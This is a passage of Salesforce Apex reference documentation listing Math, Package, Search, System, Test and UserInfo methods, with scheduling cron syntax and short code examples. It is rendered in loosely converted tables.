<tr>
<td>log10</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the logarithm (base 10) of the specified Decimal</td>
</tr>
<tr>
<td>log10</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the logarithm (base 10) of the specified Double</td>
</tr>
</tbody>
</table>
| max   | Decimal $d_1$, Decimal $d_2$ | Decimal | Returns the larger of the two specified Decimals. For example:  
Decimal larger = math.max(12.3, 156.6); system.assertEquals(larger, 156.6); |
| max   | Double $d_1$, Double $d_2$ | Double | Returns the larger of the two specified Doubles                             |
| max   | Integer $i_1$, Integer $i_2$ | Integer | Returns the larger of the two specified Integers                            |
| max   | Long $l_1$, Long $l_2$ | Long | Returns the larger of the two specified Longs                                |
| min   | Decimal $d_1$, Decimal $d_2$ | Decimal | Returns the smaller of the two specified Decimals. For example:  
Decimal smaller = math.min(12.3, 156.6); system.assertEquals(smaller, 12.3); |
<p>| min   | Double $d_1$, Double $d_2$ | Double | Returns the smaller of the two specified Doubles                             |
| min   | Integer $i_1$, Integer $i_2$ | Integer | Returns the smaller of the two specified Integers                            |
| min   | Long $l_1$, Long $l_2$ | Long | Returns the smaller of the two specified Longs                                |</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>mod</td>
<td>Integer (i1)</td>
<td>Integer</td>
<td>Returns the remainder of (i1) divided by (i2). For example:</td>
</tr>
</tbody>
</table>
|      | Integer \(i2\) |             | \[
Integer \text{remainder} = \text{math.mod}(12, 2); 
\text{system.assertEquals(remainder, 0);}
\] |
|      | Long \(L1\) | Long | Returns the remainder of \(L1\) divided by \(L2\) |
| pow  | Double \(d\) | Double | Returns the value of the first Double raised to the power of \(exp\) |
|      | Double \(exp\) |             | \[
Integer \text{remainder2} = \text{math.mod}(8, 3); 
\text{system.assertEquals(remainder2, 2);}
\] |
| random | Double \(d\) | Double | Returns a positive Double that is greater than or equal to 0.0 and less than 1.0 |
| rint | Decimal \(d\) | Decimal | Returns the value that is closest in value to \(d\) and is equal to a mathematical integer |
| rint | Double \(d\) | Double | Returns the value that is closest in value to \(d\) and is equal to a mathematical integer |
| round | Double \(d\) | Integer | Do not use. This method is deprecated as of the Winter '08 Release. Instead, use \text{roundToLong} or round. Returns the closest Integer to the specified Double by adding 1/2, taking the floor of the result, and casting the result to type Integer. If the result is less than \(-2,147,483,648\) or greater than \(2,147,483,647\), Apex generates an error. |
| round | Decimal \(d\) | Integer | Returns the closest Integer to the specified Decimal by adding 1/2, taking the floor of the result, and casting the result to type Integer |
| roundToLong | Decimal \(d\) | Long | Returns the closest Long to the specified Decimal by adding 1/2, taking the floor of the result, and casting the result to type Long |
| roundToLong | Double \(d\) | Long | Returns the closest Long to the specified Double by adding 1/2, taking the floor of the result, and casting the result to type Long |
| signum | Decimal \(d\) | Decimal | Returns the signum function of the specified Decimal, which is 0 if \(d\) is 0, 1.0 if \(d\) is greater than 0, -1.0 if \(d\) is less than 0 |
| signum | Double \(d\) | Double | Returns the signum function of the specified Double, which is 0 if \(d\) is 0, 1.0 if \(d\) is greater than 0, -1.0 if \(d\) is less than 0 |
| sin | Decimal \(d\) | Decimal | Returns the trigonometric sine of the angle specified by \(d\) |
| sin | Double \(d\) | Double | Returns the trigonometric sine of the angle specified by \(d\) |
### Reference: Apex System Methods

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sinh</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the hyperbolic sine of $d$. The hyperbolic sine of $d$ is defined to be $(e^d - e^{-d})/2$ where $e$ is Euler’s number.</td>
</tr>
<tr>
<td>sinh</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the hyperbolic sine of $d$. The hyperbolic sine of $d$ is defined to be $(e^d - e^{-d})/2$ where $e$ is Euler’s number.</td>
</tr>
<tr>
<td>sqrt</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the correctly rounded positive square root of $d$.</td>
</tr>
<tr>
<td>sqrt</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the correctly rounded positive square root of $d$.</td>
</tr>
<tr>
<td>tan</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the trigonometric tangent of the angle specified by $d$.</td>
</tr>
<tr>
<td>tan</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the trigonometric tangent of the angle specified by $d$.</td>
</tr>
<tr>
<td>tanh</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the hyperbolic tangent of $d$. The hyperbolic tangent of $d$ is defined to be $(e^d - e^{-d})/(e^d + e^{-d})$ where $e$ is Euler’s number. In other words, it is equivalent to $\sinh(x)/\cosh(x)$. The absolute value of the exact $\tanh$ is always less than 1.</td>
</tr>
<tr>
<td>tanh</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the hyperbolic tangent of $d$. The hyperbolic tangent of $d$ is defined to be $(e^d - e^{-d})/(e^d + e^{-d})$ where $e$ is Euler’s number. In other words, it is equivalent to $\sinh(x)/\cosh(x)$. The absolute value of the exact $\tanh$ is always less than 1.</td>
</tr>
</tbody>
</table>

### Package Methods

A package version is a number that identifies the set of components uploaded in a package. The version number has the format `majorNumber.minorNumber.patchNumber` (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The `patchNumber` is generated and updated only for a patch release. If there is no `patchNumber`, it is assumed to be zero (0).

The package methods are used by package developers to customize behavior for different package versions. They allow the package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code.

The package methods rely on special objects to allow a class to exhibit different behavior when it references different package versions. These objects can only be used in classes that are in a managed package.

**Package.Version.Request**

Apex classes and triggers are saved with the version settings for each installed managed package that the Apex class or trigger references. This context object represents the package version referenced by the class or trigger.

**Note:** You cannot use the `Package.Version.Request` object in unmanaged packages.

**Package.Version.majorNumber.minorNumber.patchNumber**

This object represents a package version referenced by the class or trigger.
For example, Package.Version.2.1 represents version 2.1 of the package. You can use this object together with Package.Version.Request to specify different behavior for different package versions. You can only use this object to refer to a Managed - Released package version. You cannot use it to reference Managed - Beta package versions.

**Note:** The *patchNumber* cannot be referenced by the Apex package methods.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>isGreaterThanOrEqualTo</td>
<td>Package Version</td>
<td>Boolean</td>
<td>Returns true if the package version is greater than or equal to the package version specified in the argument. For example:</td>
</tr>
<tr>
<td></td>
<td>Package.Version.major.minor</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>if (Package.Version.Request.isGreaterThanOrEqualTo(Package.Version.1.0)) {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// do something</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>} else if (Package.Version.Request.isGreaterThanOrEqualTo(Package.Version.2.0)) {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// do something different</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>} else if (Package.Version.Request.isGreaterThanOrEqualTo(Package.Version.2.3)) {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// do something completely different</td>
</tr>
<tr>
<td>isGreaterThan</td>
<td>Package Version</td>
<td>Boolean</td>
<td>Returns true if the package version is greater than the package version specified in the argument. For example:</td>
</tr>
<tr>
<td></td>
<td>Package.Version.major.minor</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>if (Package.Version.Request == Package.Version.1.0) {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// do something</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>} else if (Package.Version.Request.isGreaterThan(Package.Version.2.0)) {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// do something different</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>} else if (Package.Version.Request.isGreaterThan(Package.Version.2.3)) {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// do something completely different</td>
</tr>
<tr>
<td>isLessThan</td>
<td>Package Version</td>
<td>Boolean</td>
<td>Returns true if the package version is less than the package version specified in the argument.</td>
</tr>
<tr>
<td></td>
<td>Package.Version.major.minor</td>
<td></td>
<td></td>
</tr>
<tr>
<td>isLessThanOrEqualTo</td>
<td>Package Version</td>
<td>Boolean</td>
<td>Returns true if the package version is less than or equal to the package version specified in the argument.</td>
</tr>
<tr>
<td></td>
<td>Package.Version.major.minor</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

For more information, see [Versioning Apex Code Behavior](#) on page 195.

**Search Methods**

The following are the system static methods for Search.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>query</td>
<td>String query</td>
<td>sObject[sObject[]]</td>
<td>Creates a dynamic SOSL query at runtime. This method can be used wherever a static SOSL query can be used, such as in regular assignment statements and for loops. For more information, see <a href="#">Dynamic SOQL</a> on page 151.</td>
</tr>
</tbody>
</table>
### System Methods

The following are the static methods for System.

**Note:** *AnyDataType* represents any primitive, object record, array, map, set, or the special value `null`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| abortJob     | String *Job_ID*      | Void        | Stops the specified job. The stopped job is still visible in the job queue in the Salesforce user interface. The *Job_ID* is the ID associated with either the AsyncApexJob or the CronTrigger. One of these IDs is returned by the following methods:  
  - `System.schedule` method—returns the ID of the CronTrigger object associated with the scheduled job as a string.  
  - `getTriggerId` method—returns the ID of the CronTrigger object associated with the scheduled job as a string.  
  - `getJobId` method—returns the ID of the AsyncApexJob object associated with the batch job as a string.  
  - `Database.executeBatch` method—returns the ID of the AsyncApexJob object associated with the batch job as a string. |
<p>| assert       | Boolean <em>condition</em>, Any data type <em>opt_msg</em> | Void        | Asserts that <em>condition</em> is true. If it is not, a runtime exception is thrown with the optional second argument, <em>opt_msg</em> as part of its message. |
| assertEquals | Any data type <em>x</em>, Any data type <em>y</em>, Any data type <em>opt_msg</em> | Void        | Asserts that the first two arguments, <em>x</em> and <em>y</em> are the same. If they are not, a runtime exception is thrown with the optional third argument, <em>opt_msg</em> as part of its message. |
| assertNotEquals | Any data type <em>x</em>, Any data type <em>y</em>, Any data type <em>opt_msg</em> | Void        | Asserts that the first two arguments, <em>x</em> and <em>y</em> are different. If they are the same, a runtime exception is thrown with the optional third argument, <em>opt_msg</em> as part of its message. |
| currentPageReference |  | System.PageReference | Returns a reference to the current page. This is used with Visualforce pages. For more information, see <em>PageReference Class</em> on page 356. |</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentTimeMillis</td>
<td>Long</td>
<td></td>
<td>Returns the current time in milliseconds (difference between the current time and midnight, January 1, 1970 UTC).</td>
</tr>
<tr>
<td>debug</td>
<td>Any data type msg</td>
<td>Void</td>
<td>Writes the argument msg, in string format, to the execution debug log. If you do not specify a log level, the DEBUG log level is used. This means that any debug method with no log level specified or a log level of ERROR, WARN, INFO or DEBUG is written to the debug log. Note that when a map or set is printed, the output is sorted in key order and is surrounded with square brackets ([ ]). When an array or list is printed, the output is enclosed in parentheses ( () ). Note: Calls to System.debug are not counted as part of Apex code coverage in unit tests. For more information on log levels, see “Setting Debug Log Filters” in the Salesforce online help.</td>
</tr>
<tr>
<td>debug</td>
<td>Enum logLevel</td>
<td>Void</td>
<td>Specifies the log level for all debug methods. Note: Calls to System.debug are not counted as part of Apex code coverage in unit tests. Valid log levels are (listed from lowest to highest): • ERROR • WARN • INFO • DEBUG • FINE • FINER • FINEST Log levels are cumulative. For example, if the lowest level, ERROR is specified, only debug methods with the log level of ERROR are logged. If the next level, WARN, is specified, the debug log contains debug methods specified as either ERROR or WARN. In the following example, the string MsgTxt is not written to the debug log, because the</td>
</tr>
</tbody>
</table>
### log level is ERROR, and the debug method has a level of INFO.

```java
System.debug(LoggingLevel.ERROR);
System.debug(LoggingLevel.INFO, 'MsgTxt');
```

For more information on log levels, see “Setting Debug Log Filters” in the Salesforce online help.

### getApplicationReadWriteMode

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getApplicationReadWriteMode</td>
<td>system.ApplicationReadWriteMode</td>
<td></td>
<td>Returns the read write mode set for an organization during Salesforce.com upgrades and downtimes. This method returns the enum system.ApplicationReadWriteMode. Valid values are:</td>
</tr>
</tbody>
</table>
|                       |                               | system.ApplicationReadWriteMode | - DEFAULT
|                       |                               | system.ApplicationReadWriteMode | - READ_ONLY |
|                       |                               |                             | getApplicationReadWriteMode is available as part of 5 Minute Upgrade. |
|                       |                               |                             | Note: 5 Minute Upgrade is currently available through a pilot program. For information on enabling 5 Minute Upgrade for your organization, contact salesforce.com. |

### now

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>now</td>
<td></td>
<td>Datetime</td>
<td>Returns the current date and time in the GMT time zone.</td>
</tr>
</tbody>
</table>

### process

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>process</td>
<td>List&lt;WorkItemIDs&gt; List&lt;Id&gt; WorkItemIDs String Action String Comments String NextApprover</td>
<td></td>
<td>Processes the list of work item IDs. For more information, see Apex Approval Processing Classes on page 403.</td>
</tr>
</tbody>
</table>

### resetPassword

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>resetPassword</td>
<td>ID userID Boolean send_user_email</td>
<td>System.ResetPasswordResult</td>
<td>Resets the password for the specified user. When the user logs in with the new password, they are prompted to enter a new password and to select a security question and answer if they haven’t already. If you specify true for send_user_email, the user is sent an email notifying them that their password was reset. A link to sign onto Salesforce using the new password is included in the email. Use setPassword if you don’t</td>
</tr>
</tbody>
</table>
**Description**
want the user to be prompted to enter a new password when they log in.

**Caution:** Be careful with this method, and do not expose this functionality to end-users.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>runAs</td>
<td>Package.version version</td>
<td>Void</td>
<td>Changes the current package version to the package version specified in the argument. A package version is a number that identifies the set of components uploaded in a package. The version number has the format <code>majorNumber.minorNumber.patchNumber</code> (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The <code>patchNumber</code> is generated and updated only for a patch release. If there is no <code>patchNumber</code>, it is assumed to be zero (0). As well as a set of components, a package version encompasses specific behavior. A package developer can use <strong>package version methods</strong> to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code. Apex classes and triggers are saved with the version settings for each installed managed package that the Apex class or trigger references. This method is used for testing your component behavior in different package versions that you upload to the AppExchange. This method effectively sets the <code>Package.Version.Request</code> object in a test method so that you can test the behavior for different package versions. You can only use runAs in a test method. There is no limitation to the number of calls to this method in a transaction. For sample usage of this method, see <strong>Testing Behavior in Package Versions</strong> on page 196.</td>
</tr>
<tr>
<td>runAs</td>
<td>User <code>user_var</code></td>
<td>Void</td>
<td>Changes the current user to the specified user. All of the specified user’s permissions and record sharing are enforced during the execution of runAs. You can only use runAs in a test method. <strong>Note:</strong> The runAs method ignores user license limits. You can create new users with runAs even if your</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>--------</td>
<td>--------------------</td>
<td>-------------</td>
<td>-------------</td>
</tr>
<tr>
<td>runAs</td>
<td>organization has no additional user licenses. For more information, see <a href="#">Using the runAs Method</a> on page 131. <strong>Note:</strong> Every call to runAs counts against the total number of DML statements issued in the process.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>schedule</td>
<td>String JobName String</td>
<td>String</td>
<td>Use schedule with an Apex class that implements the <a href="#">Schedulable interface</a> to schedule the class to run at the time specified by CronExpression. Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. <strong>Note:</strong> Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability. For more information see, <a href="#">Using the System.Schedule Method</a> on page 319. Use the <a href="#">abortJob method</a> to stop the job after it has been scheduled.</td>
</tr>
<tr>
<td>setPassword</td>
<td>ID userID String password</td>
<td>Void</td>
<td>Sets the password for the specified user. When the user logs in with this password, they are not prompted to create a new password. Use <a href="#">resetPassword</a> if you want the user to go through the reset process and create their own password. <strong>Caution:</strong> Be careful with this method, and do not expose this functionality to end-users.</td>
</tr>
<tr>
<td>submit</td>
<td>List&lt;WorkItemIDs&gt; List&lt;ID&gt; WorkItemIDs String Comments String NextApprover</td>
<td></td>
<td>Submits the processed approvals. For more information, see <a href="#">Apex Approval Processing Classes</a> on page 403.</td>
</tr>
</tbody>
</table>
### System Logging Levels

Use the `loggingLevel` enum to specify the logging level for all `debug` methods.

Valid log levels are (listed from lowest to highest):

- `ERROR`
- `WARN`
- `INFO`
- `DEBUG`
- `FINE`
- `FINER`
- `FINEST`

Log levels are cumulative. For example, if the lowest level, `ERROR` is specified, only debug methods with the log level of `ERROR` are logged. If the next level, `WARN`, is specified, the debug log contains debug methods specified as either `ERROR` or `WARN`.

In the following example, the string `MsgTxt` is not written to the debug log because the log level is `ERROR` and the `debug` method has a level of `INFO`:

```java
System.LoggingLevel level = LoggingLevel.ERROR;
System.debug(logginglevel.INFO, 'MsgTxt');
```

For more information on log levels, see “Setting Debug Log Filters” in the Salesforce online help.

### Using the `System.ApplicationReadWriteMode` Enum

Use the `System.ApplicationReadWriteMode` enum returned by the `getApplicationReadWriteMode` to programmatically determine if the application is in read-only mode during Salesforce upgrades and downtimes.

- **Note:** 5 Minute Upgrade is currently available through a pilot program. For information on enabling 5 Minute Upgrade for your organization, contact salesforce.com.

Valid values for the enum are:

- `DEFAULT`
- `READ_ONLY`

Example:

```java
public class myClass {
    public static void execute() {
        ApplicationReadWriteMode mode = System.getApplicationReadWriteMode();

        // Update the account only if the application in running is in readonly mode.
        if (mode == ApplicationReadWriteMode.READ_ONLY) {
            // Do nothing. If DML operation is attempted in readonly mode,
            // InvalidReadOnlyUserDmlException
            // will be thrown.
        } else if (mode == ApplicationReadWriteMode.DEFAULT) {
```
Account account = new Account(name = 'my account');
insert account;
}
}

**Using the System.Schedule Method**

After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. The scheduler runs as system: all classes are executed, whether the user has permission to execute the class or not.

**Note:** Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the job is scheduled to run, and the name of the class. This expression has the following syntax:

```
Seconds Minutes Hours Day_of_month Month Day_of_week optional_year
```

**Note:** Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability.

The System.Schedule method uses the user’s timezone for the basis of all schedules.

The following are the values for the expression:

<table>
<thead>
<tr>
<th>Name</th>
<th>Values</th>
<th>Special Characters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Seconds</td>
<td>0–59</td>
<td>None</td>
</tr>
<tr>
<td>Minutes</td>
<td>0–59</td>
<td>None</td>
</tr>
<tr>
<td>Hours</td>
<td>0–23</td>
<td>, - * /</td>
</tr>
<tr>
<td>Month</td>
<td>1–12 or the following:</td>
<td>, - * /</td>
</tr>
<tr>
<td></td>
<td>• JAN</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• FEB</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• MAR</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• APR</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• MAY</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• JUN</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• JUL</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• AUG</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• SEP</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• OCT</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• NOV</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• DEC</td>
<td></td>
</tr>
<tr>
<td>Day_of_week</td>
<td>1–7 or the following:</td>
<td>, - * ? / L #</td>
</tr>
<tr>
<td></td>
<td>• SUN</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• MON</td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Values</td>
<td>Special Characters</td>
</tr>
<tr>
<td>----------</td>
<td>--------------------------------------</td>
<td>--------------------</td>
</tr>
<tr>
<td></td>
<td>• TUE</td>
<td>, - * /</td>
</tr>
<tr>
<td></td>
<td>• WED</td>
<td>null or 1970–2099</td>
</tr>
<tr>
<td></td>
<td>• THU</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• FRI</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• SAT</td>
<td></td>
</tr>
</tbody>
</table>

optional_year

The special characters are defined as follows:

<table>
<thead>
<tr>
<th>Special Character</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>,</td>
<td>Delimits values. For example, use JAN, MAR, APR to specify more than one month.</td>
</tr>
<tr>
<td>-</td>
<td>Specifies a range. For example, use JAN–MAR to specify more than one month.</td>
</tr>
<tr>
<td>*</td>
<td>Specifies all values. For example, if Month is specified as *, the job is scheduled for every month.</td>
</tr>
<tr>
<td>?</td>
<td>Specifies no specific value. This is only available for Day_of_month and Day_of_week, and is generally used when specifying a value for one and not the other.</td>
</tr>
<tr>
<td>/</td>
<td>Specifies increments. The number before the slash specifies when the intervals should begin, and the number after the slash is the interval amount. For example, if you specify 1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting on the first of the month.</td>
</tr>
<tr>
<td>L</td>
<td>Specifies the end of a range (last). This is only available for Day_of_month and Day_of_week. When used with Day_of_month, L always means the last day of the month, such as January 31, February 28 for leap years, and so on. When used with Day_of_week by itself, it always means 7 or SAT. When used with a Day_of_week value, it means the last of that type of day in the month. For example, if you specify 2L, you are specifying the last Monday of the month. Do not use a range of values with L as the results may be unexpected.</td>
</tr>
<tr>
<td>W</td>
<td>Specifies the nearest weekday (Monday–Friday) of the given day. This is only available for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday, the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does not run in the previous month, but on the third, which is the following Monday. <strong>Tip:</strong> Use the L and W together to specify the last weekday of the month.</td>
</tr>
<tr>
<td>#</td>
<td>Specifies the nth day of the month, in the format weekday#day_of_month. This is only available for Day_of_week. The number before the # specifies weekday (SUN–SAT). The number after the # specifies the day of the month. For example, specifying 2#2 means the class runs on the second Monday of every month.</td>
</tr>
</tbody>
</table>
The following are some examples of how to use the expression.

<table>
<thead>
<tr>
<th>Expression</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0 0 13 * * ?</td>
<td>Class runs every day at 1 P.M.</td>
</tr>
<tr>
<td>0 0 22 ? * 6L</td>
<td>Class runs the last Friday of every month at 10 P.M.</td>
</tr>
<tr>
<td>0 0 10 ? * MON-FRI</td>
<td>Class runs Monday through Friday at 10 A.M.</td>
</tr>
<tr>
<td>0 0 20 * * ? 2010</td>
<td>Class runs every day at 8 P.M. during the year 2010.</td>
</tr>
</tbody>
</table>

In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at 8 A.M., on the 13th of February.

```java
proschedule p = new proschedule();
String sch = '0 0 8 13 2 ?';
system.schedule('One Time Pro', sch, p);
```

**System.ResetPasswordResult Object**

A System.ResetPasswordResult object is returned by the System.ResetPassword method. This can be used to access the generated password.

The following is the instance method for the System.ResetPasswordResult object:

<table>
<thead>
<tr>
<th>Method</th>
<th>Arguments</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getPassword</td>
<td></td>
<td>String</td>
<td>Returns the password generated as a result of the System.ResetPassword method that instantiated this System.ResetPasswordResult object.</td>
</tr>
</tbody>
</table>

**Test Methods**

The following are the system static methods for Test.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>isRunningTest</td>
<td></td>
<td>Boolean</td>
<td>Returns true if the currently executing code was called by code contained in a method defined as testMethod, false otherwise. Use this method if you need to run different code depending on whether it was being called from a test.</td>
</tr>
<tr>
<td>setCurrentPage</td>
<td>PageReference page</td>
<td>Void</td>
<td>A Visualforce test method that sets the current PageReference for the controller.</td>
</tr>
<tr>
<td>setFixedSearchResults</td>
<td>ID[] opt_set_search_results</td>
<td>Void</td>
<td>Defines a list of fixed search results to be returned by all subsequent SOSL statements</td>
</tr>
</tbody>
</table>
### Description

in a test method. If `opt_set_search_results` is not specified, all subsequent SOSL queries return no results.

The list of record IDs specified by `opt_set_search_results` replaces the results that would normally be returned by the SOSL queries if they were not subject to any `WHERE` or `LIMIT` clauses. If these clauses exist in the SOSL queries, they are applied to the list of fixed search results.

For more information, see Adding SOSL Queries to Unit Tests on page 133.

### startTest

| Void |
| Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits. You can also use this method with `stopTest` to ensure that all asynchronous calls that come after the `startTest` method are run before doing any assertions or testing. Each `testMethod` is allowed to call this method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need in order to run your test. After you call this method, the limits that get applied are based on either the first DML statement (like `INSERT`, `DELETE`, and so on) or the first Web service invocation. The following example tests trigger limits:

```
  test.starttest();
  // The first significant statement is below
  // Trigger context limits applied
  Account s = new Account(name='test');
  insert s;
```

The following example tests webService limits:

```
  test.starttest();
  String holder =
    wsclass.executeWebService(foo);
```

### stopTest

| Void |
| Marks the point in your test code when your test ends. Use this method in conjunction with the `startTest` method. Each `testMethod` is allowed to call this method only once. After calling this method, any post assertions are

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| startTest | Void | | Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits. You can also use this method with `stopTest` to ensure that all asynchronous calls that come after the `startTest` method are run before doing any assertions or testing. Each `testMethod` is allowed to call this method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need in order to run your test. After you call this method, the limits that get applied are based on either the first DML statement (like `INSERT`, `DELETE`, and so on) or the first Web service invocation. The following example tests trigger limits:

```
  test.starttest();
  // The first significant statement is below
  // Trigger context limits applied
  Account s = new Account(name='test');
  insert s;
```

The following example tests webService limits:

```
  test.starttest();
  String holder =
    wsclass.executeWebService(foo);
```

###stopTest | Void | | Marks the point in your test code when your test ends. Use this method in conjunction with the `startTest` method. Each `testMethod` is allowed to call this method only once. After calling this method, any post assertions are
**User Info Methods**

The following are the system static methods for UserInfo.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getDefaultCurrency</td>
<td>String</td>
<td>String</td>
<td>Returns the context user’s default currency code if their organization uses multiple currencies</td>
</tr>
<tr>
<td>getFirstName</td>
<td>String</td>
<td>String</td>
<td>Returns the context user's first name</td>
</tr>
<tr>
<td>getLanguage</td>
<td>String</td>
<td>String</td>
<td>Returns the context user's language</td>
</tr>
<tr>
<td>getLastName</td>
<td>String</td>
<td>String</td>
<td>Returns the context user's last name</td>
</tr>
<tr>
<td>getLocale</td>
<td>String</td>
<td>String</td>
<td>Returns the context user's locale. For example:</td>
</tr>
</tbody>
</table>
|                   |           |             | ```                                                                  
<p>|                   |           |             | String result = UserInfo.getLocale();                                                                                                          |
|                   |           |             | System.assertEquals('en_US', result);                                                                                                         |
| getName            | String    | String      | Returns the context user's full name. The format of the name depends on the language preferences specified for the organization. The format is one of the following: |
|                   |           |             | - FirstName LastName                                                                                                                          |
|                   |           |             | - LastName, FirstName                                                                                                                         |
| getOrganizationId | String    | String      | Returns the context organization's ID                                                                                                         |
| getOrganizationName| String    | String      | Returns the context organization's company name                                                                                               |
| getProfileId      | String    | String      | Returns the context user's profile ID                                                                                                         |
| getSessionId      | String    | String      | Returns the session ID for the current session                                                                                                |</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| getUiTheme                  | String    | String      | Returns the default organization theme. Use getUiThemeDisplayed to determine the theme actually displayed to the current user. Valid values are:  
|                             |           |             | • Theme1                                                                                 |
|                             |           |             | • Theme2                                                                                 |
|                             |           |             | • PortalDefault                                                                           |
|                             |           |             | • Webstore                                                                               |
| getUiThemeDisplayed         | String    | String      | Returns the theme being displayed for the current user. Valid values are:  
|                             |           |             | • Theme1                                                                                 |
|                             |           |             | • Theme2                                                                                 |
|                             |           |             | • PortalDefault                                                                           |
|                             |           |             | • Webstore                                                                               |
| getUserId                  | String    | String      | Returns the context user's ID                                                             |
| getUserName                 | String    | String      | Returns the context user's login name                                                     |
| getUserRoleId               | String    | String      | Returns the context user's role ID                                                         |
